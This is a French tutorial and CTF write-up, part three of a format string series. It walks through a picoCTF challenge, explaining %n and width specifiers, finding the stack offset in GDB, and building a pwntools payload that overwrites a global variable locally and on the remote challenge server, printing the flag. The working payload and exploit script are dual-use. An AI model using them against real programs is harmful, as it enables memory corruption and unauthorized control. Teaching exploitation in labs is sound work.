Guide des format string (partie 3)
Avant de lire ça allez voir l'intro sur les format string sinon ça va parler chinois
Ecrire des données avec les format string
Dans ce guide, on va plonger un peu plus loin dans l'exploitation de format string en résolvant un challenge du picogim :
This program is not impressed by cheap parlor tricks like reading arbitrary data off the stack. To impress this program you must change data on the stack! Download the binary here. Download the source here. Additional details will be available after launching your challenge instance.
Pour ce challenge, on nous donne le fichier executable a exploiter et le code source en C :
#include <stdio.h> int sus = 0x21737573; int main() { char buf[1024]; char flag[64]; printf("You dont have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n"); fflush(stdout); scanf("%1024s", buf); printf("Here's your input: "); printf(buf); printf("\n"); fflush(stdout); if (sus == 0x67616c66) { printf("I have NO clue how you did that, you must be a wizard. Here you go...\n"); // Read in the flag FILE *fd = fopen("flag.txt", "r"); fgets(flag, 64, fd); printf("%s", flag); fflush(stdout); } else { printf("sus = 0x%x\n", sus); printf("You can do better!\n"); fflush(stdout); } return 0; }
Le programme requiert la présence d'un fichier flag.txt de debug, on en créé donc un :
terminalbash$- echo picoCTF{flag} > flag.txt
En lisant le code, on se rend compte que le programme initialise la variable sus a 0x21737573 :
int sus = 0x21737573;
Puis il vérifie si cette même variable est égale à 0x67616c66 et si oui, affiche le flag :
if (sus == 0x67616c66) { printf("I have NO clue how you did that, you must be a wizard. Here you go...\n"); // Read in the flag FILE *fd = fopen("flag.txt", "r"); fgets(flag, 64, fd); printf("%s", flag); fflush(stdout); }
Sinon, il nous renvoie la valeur de sus et nous dit qu'on peut faire mieux :)
else { printf("sus = 0x%x\n", sus); printf("You can do better!\n"); fflush(stdout); }
On cherche donc un moyen de réécrire le contenu de la variable sus.
On se doute (d'apres le nom du challenge) qu'il va s'agir d'un faille de type format string. Pour en être sur, on execute le programme en mettant en entrée un format specifier :
terminalbash$- ./vuln You dont have what it takes. Only a true wizard could change my suspicions. What do you have to say? > %x Here's your input: 296348d0 sus = 0x21737573 You can do better!
Le programme retourne bien une valeur inatendue hex, la thèse de la format string vuln est validée.
Cependant, jusque la on avait vu comment lire et non écrire de données avec les format specifier. On va alors introduire un nouveau specifier, "%n" :
| Specifier | Type | Sortie |
|---|---|---|
| n | Pointeur | Compte le nombre de caracteres écrit jusque la et le stocke dans la variable a l'adresse en parametre |
La définition n'étant pas des plus claires, il est plus facile de comprendre comment le format specifier %n marche avec un exemple :
Bac à sable C 10.2.0
Comme %n écrit le nombre de caracteres écrits jusque la (dans le même printf) et qu'il est au début du printf, il écrit seulement 0 dans la variable foo.
Cependant en rajoutant des caracteres avant %n, on peut changer la valeur à écrire dans foo. Par exemple :
Bac à sable C 10.2.0
On a donc une maniere d'écrire ce qu'on veut, où on veut dans la mémoire du programme. Cependant, dans notre chall, il faut écrire une tres grande valeur en mémoire : 0x67616c66
Entrée
67616c66Résultat
1734437990Or l'input ne prend qu'au maximum 1024 caracteres :
scanf("%1024s", buf);
On ne peut donc pas vraiment écrire 1734437990 caracteres devant le format spécifier %n (en plus ça serait grave long). Donc on va utiliser une autre syntaxe des string specifier : la spécification de largeur.
"%100x" // Renvoie une valeur hexadécimale de minimum 100 caracteres (en ajoutant des espaces devant) "%100d" // Meme principe avec un entier etc...
Exemple :
Bac à sable C 10.2.0
Cela nous permet donc, en combinant les deux principes, d'écrire une tres grande valeur où on veut.
Bac à sable C 10.2.0
Pour résoudre le chall, il reste encore un problème : étant donné qu'on n'a pas access au parametres de printf, on ne peut pas spécifier le pointeur vers sus pour que %n sache où écrire.
Cependant, comme vu dans ce guide, on peut utiliser une valeur passée dans le printf comme parametre pour un string specifier dans le meme printf. Il suffit juste de trouver où se trouve l'input dans la stack.
Pour le savoir, on va utiliser le debugger GDB afin de lire la stack au moment où la vulnérabilité a lieu :
terminalbash$- gdb ./vuln > (gdb) set disassembly-flavor intel // On change la syntaxe du désassembleur a intel > (gdb) disas main // On désassemble la fonction main
GDB nous renvoie le code désassemblé :
0x00000000004011f6 <+0>: endbr64 0x00000000004011fa <+4>: push rbp 0x00000000004011fb <+5>: mov rbp,rsp 0x00000000004011fe <+8>: sub rsp,0x450 0x0000000000401205 <+15>: mov edi,0x402008 0x000000000040120a <+20>: call 0x4010b0 <puts@plt> 0x000000000040120f <+25>: mov rax,QWORD PTR [rip+0x2e52] # 0x404068 <stdout@GLIBC_2.2.5> 0x0000000000401216 <+32>: mov rdi,rax 0x0000000000401219 <+35>: call 0x4010e0 <fflush@plt> 0x000000000040121e <+40>: lea rax,[rbp-0x410] 0x0000000000401225 <+47>: mov rsi,rax 0x0000000000401228 <+50>: mov edi,0x40206e 0x000000000040122d <+55>: mov eax,0x0 0x0000000000401232 <+60>: call 0x401100 <__isoc99_scanf@plt> 0x0000000000401237 <+65>: mov edi,0x402075 0x000000000040123c <+70>: mov eax,0x0 0x0000000000401241 <+75>: call 0x4010c0 <printf@plt> 0x0000000000401246 <+80>: lea rax,[rbp-0x410] 0x000000000040124d <+87>: mov rdi,rax 0x0000000000401250 <+90>: mov eax,0x0 0x0000000000401255 <+95>: call 0x4010c0 <printf@plt> 0x000000000040125a <+100>: mov edi,0xa 0x000000000040125f <+105>: call 0x4010a0 <putchar@plt> 0x0000000000401264 <+110>: mov rax,QWORD PTR [rip+0x2dfd] # 0x404068 <stdout@GLIBC_2.2.5> 0x000000000040126b <+117>: mov rdi,rax 0x000000000040126e <+120>: call 0x4010e0 <fflush@plt> 0x0000000000401273 <+125>: mov eax,DWORD PTR [rip+0x2de7] # 0x404060 <sus> 0x0000000000401279 <+131>: cmp eax,0x67616c66 0x000000000040127e <+136>: jne 0x4012df <main+233> 0x0000000000401280 <+138>: mov edi,0x402090 0x0000000000401285 <+143>: call 0x4010b0 <puts@plt> 0x000000000040128a <+148>: mov esi,0x4020d6 0x000000000040128f <+153>: mov edi,0x4020d8 0x0000000000401294 <+158>: call 0x4010f0 <fopen@plt> 0x0000000000401299 <+163>: mov QWORD PTR [rbp-0x8],rax 0x000000000040129d <+167>: mov rdx,QWORD PTR [rbp-0x8] 0x00000000004012a1 <+171>: lea rax,[rbp-0x450] 0x00000000004012a8 <+178>: mov esi,0x40 0x00000000004012ad <+183>: mov rdi,rax 0x00000000004012b0 <+186>: call 0x4010d0 <fgets@plt> 0x00000000004012b5 <+191>: lea rax,[rbp-0x450] 0x00000000004012bc <+198>: mov rsi,rax 0x00000000004012bf <+201>: mov edi,0x4020e1 0x00000000004012c4 <+206>: mov eax,0x0 0x00000000004012c9 <+211>: call 0x4010c0 <printf@plt> 0x00000000004012ce <+216>: mov rax,QWORD PTR [rip+0x2d93] # 0x404068 <stdout@GLIBC_2.2.5> 0x00000000004012d5 <+223>: mov rdi,rax 0x00000000004012d8 <+226>: call 0x4010e0 <fflush@plt> 0x00000000004012dd <+231>: jmp 0x40130f <main+281> 0x00000000004012df <+233>: mov eax,DWORD PTR [rip+0x2d7b] # 0x404060 <sus> 0x00000000004012e5 <+239>: mov esi,eax 0x00000000004012e7 <+241>: mov edi,0x4020e4 0x00000000004012ec <+246>: mov eax,0x0 0x00000000004012f1 <+251>: call 0x4010c0 <printf@plt> 0x00000000004012f6 <+256>: mov edi,0x4020f0 0x00000000004012fb <+261>: call 0x4010b0 <puts@plt> 0x0000000000401300 <+266>: mov rax,QWORD PTR [rip+0x2d61] # 0x404068 <stdout@GLIBC_2.2.5> 0x0000000000401307 <+273>: mov rdi,rax 0x000000000040130a <+276>: call 0x4010e0 <fflush@plt> 0x000000000040130f <+281>: mov eax,0x0 0x0000000000401314 <+286>: leave 0x0000000000401315 <+287>: ret
On sait que la vulnérabilité a lieu lors de l'appel de printf apres un autre printf apres un scanf (d'apres le code source). On cherche donc une ligne qui pourrait correspondre et on trouve :
0x0000000000401255 <+95>: call 0x4010c0 <printf@plt>
Qui vient bien apres un scanf et un printf.
On met alors un breakpoint a cette instruction pour pouvoir voir la stack juste avant la vulnérabilité :
terminalbash> (gdb) break *main+95 # Main car l'intruction est dans la fonction main et 95 car c'est l'offset Breakpoint 1 at 0x401255 # (écrit entre < > dans le disassembler) > (gdb) run # On lance le programme You dont have what it takes. Only a true wizard could change my suspicions. What do you have to say? > aaaaaaaa # On entre une valeur facile a reconnaitre en hex (6161616161616161) Breakpoint 1, 0x0000000000401255 in main () > (gdb) x/16x $rsp # On lit 16 valeurs depuis la stack 0x7fffffffd5f0: 0x00007ffff7fc5860 0x00007ffff7ffdab0 0x7fffffffd600: 0x0000000000000000 0x0000000000000000 0x7fffffffd610: 0x0000000000000000 0x00007ffff7ffe2e0 0x7fffffffd620: 0x0000000001a0c23d 0x00007ffff7fc5d78 0x7fffffffd630: 0x6161616161616161 0x00007ffff7ffda00 0x7fffffffd640: 0x0000001e00000006 0x0000000000000006 0x7fffffffd650: 0x00007fffffffd790 0x00007ffff7fd4ae3 0x7fffffffd660: 0x0000000000000009 0x00007ffff7fd5451
Note: ici, on affiche 16 valeurs de la stack de haut en bas.
La premiere valeur est la valeur à RSP, la deuxième celle à RSP + 8, la troisieme celle à RSP + 16, etc... (On ajoute 8 a chaque fois car il s'agit d'un executable 64-bit soit des valeurs de 8 bytes).
Comme on sait que l'input utilisateur est aaaaaaaa et que cela correspond a 0x6161616161616161 :
Entrée
aaaaaaaaRésultat
6161616161616161On comprend que l'entrée utilisateur est stockée dans la stack à RSP + 64 (soit 8 adresses apres RSP).
En se référent à l'ordre des paramètres (allez vraiment lire ça si c'est pas deja fait), RSP + 64 correspond au paramètre numéro 14.
Note: on peut aussi le voir comme, l'entrée utilisateur est 8 adresses apres RSP et RSP correspond au 6eme parametre, ca fait donc eme parametre.
On teste alors de retrouver notre input dans un format string avec le payload "aaaaaaaa%14$p" qui devrait retourner "aaaaaaaa0x6161616161616161" -> Le format string devrait être remplacée par le 14eme parametre soit "aaaaaaaa" et au format hexadécimal avec le préfixe 0x (spécifier %p) :
terminalbash$ ./vuln You dont have what it takes. Only a true wizard could change my suspicions. What do you have to say? > aaaaaaaa%14$p Here's your input: aaaaaaaa0x6161616161616161 sus = 0x21737573 You can do better!
Parfait ! Maintenant, on a plus qu'a changer "aaaaaaaa" par l'adresse à laquelle écrire et %p par %n pour y écrire.
Sauf qu'il y a un problème : on ne sait même pas à quelle adresse se trouve la variable sus... On pourrait aller la chercher dans un debugger mais il se trouve que quand on a désassemblé le programme, gdb nous a envoyé un petit commentaire dans le code assembly :
# 0x404060 <sus>
Il nous indique en fait que la variable sus se trouve à l'adresse 0x404060.
Avant de faire notre payload, il faut se souvenir du fonctionnement de %n : il écrit dans une adresse mémoire le compte des caractères écrits avant lui. Pour cette raison et d'autres difficiles a expliquer :) on va mettre le specifier %n avant l'adresse dans le payload pour mieux pouvoir compter les caracteres devant lui.
Il devrait donc ressembler a ca :
"%1000X%14$n" + adresse (0x404060 en little endian) # en changeant le 1000 par la donnée a écrire
Note: %x et %X font la même chose, %X convertit juste en majuscules.
Cependant, comme on met maintenant le %n avant l'adresse, il sera mis avant en mémoire et donc plus haut dans la stack et le 14eme parametre sera les 8 premiers bytes de l'input soit ici "%1000x%1" (en little endian). On peut tester ca dans GDB pour le voir (en laissant la même configuration avec le break qu'avant) :
terminalbash> (gdb) run You dont have what it takes. Only a true wizard could change my suspicions. What do you have to say? > %1000X%14$ntestaaaa Breakpoint 1, 0x0000000000401255 in main () > (gdb) x/x $rsp + 64 0x7fffffffd630: 0x3125583030303125
Entrée
2531303030582531Résultat
%1000X%1Par déduction, on comprends que :
- 14eme parametre = "%1000X%1"
- 15eme parametre = "4$ntesta"
- 16eme parametre = "aaa"
Cela pose probleme car on aimerait avoir l'adresse (ici j'ai mis testaaaa pour la répresenter) seule dans un parametre pour pouvoir la séléctionner avec %n.
Pour palier a ce probleme, il suffit de rajouter des caracteres (comme des 'a' par exemple) pour décaler l'adresse et qu'elle soit dans son propre parametre. Ca donnerait donc quelque chose comme ça :
- 14eme parametre = "%1000X%1" -> On ne change pas le format specifier.
- 15eme parametre = "4$naaaaa" -> On rajoute des 'a' apres le specifier pour le rendre 8 caracteres de long.
- 16eme parametre = "testaaaa" -> L'adresse est maintenant seule dans son parametre.
Or l'adresse est maintenant dans le 16eme parametre. On change donc %14$n en %16$n. Pour mettre en place un payload et le stocker dans un fichier, on utilise python et la lib pwntools :
from pwn import * sus_adress = 0x404060 payload = b'%1000X%16$naaaaa' + p64(sus_adress) # p64 s'occupe du little endian et de la mise sur 64bits pour nous with open('test', 'wb') as f: f.write(payload) # on écrit le payload dans un fichier pour pouvoir l'utiliser plus tard
On execute ensuite le script python :
terminalbash$- python3 exploit.py
Puis retour dans GDB, on éxécute le fichier avec test en entrée standard :
terminalbash> (gdb) del 1 # On n'a plus besoin du breakpoint donc on le supprime > (gdb) run < test You dont have what it takes. Only a true wizard could change my suspicions. What do you have to say? Here's your input: (...) FFFFD440aaaaa`@@ sus = 0x3e8 You can do better! [Inferior 1 (process 1035) exited normally]
Bingo ! Le payload a bien marché et on a pu changer la valeur de sus ! La valeur de sus devrait donc être égale au nombre de caractères mis avant le %n soit ici 1000 (car on utilise le specifier %1000X).
Entrée
3e8Résultat
1000On reprend alors la valeur qu'on veut écrire dans sus: 0x67616c66 soit 1734437990 en décimal :
Entrée
67616c66Résultat
1734437990Puis on applique le même principe :
- 14eme parametre = "%1734437"
- 15eme parametre = "990X%16$"
- 16eme parametre = "naaaaaaa" -> On rajoute des 'a'
- 17eme parametre = p64(sus_adress)
On note que l'adresse est maintenant dans le 17eme parametre, on change donc le %16$n en %17$n et on obtient le payload suivant :
payload = b'%1734437990X%17$naaaaaaa' + p64(sus_adress)
On execute le nouveau python :
terminalbash$- python3 exploit.py
Puis le code dans GDB :
terminalbash(gdb) run < test You dont have what it takes. Only a true wizard could change my suspicions. What do you have to say? Here's your input: (...) 402075aaaaaaa`@@ I have NO clue how you did that, you must be a wizard. Here you go... picoCTF{flag}
Apres avoir attendu quelques temps que le programme écrive les 1734437990 espaces, on obtient bien notre flag ! Il est donc temps de faire un exploit en remote pour trouver le vrai flag, on utilise donc le meme payload qu'avant :
from pwn import * sus_adress = 0x404060 p = remote("HOST", PORT) payload = b'%1734437990X%17$naaaaaaa' + p64(sus_adress) p.sendline(payload) p.interactive()
Puis on l'éxécute :
terminalbash$- python3 exploit.py [x] Opening connection to HOST on port PORT [x] Opening connection to HOST on port PORT: Trying XX.XX.XX.XX [+] Opening connection to HOST on port PORT: Done [*] Switching to interactive mode You dont have what it takes. Only a true wizard could change my suspicions. What do you have to say? Here's your input: (...) I have NO clue how you did that, you must be a wizard. Here you go... picoCTF{f0rm47_57r?_f0rm47_m3m_741fa290} [*] Got EOF while reading in interactive
Le programme s'éxécute plus lentement en remote qu'en local donc le flag prends du temps a arriver j'ai attendu genre 15 minutes :)
Evidemment, il existe une manière d'améliorer l'exploit pour ne pas avoir à attendre aussi longtemps mais cela fera l'objet d'un autre guide.
Félicitations si tu t'es accroché jusque là, et bonne chance pour appliquer ça maintenant :)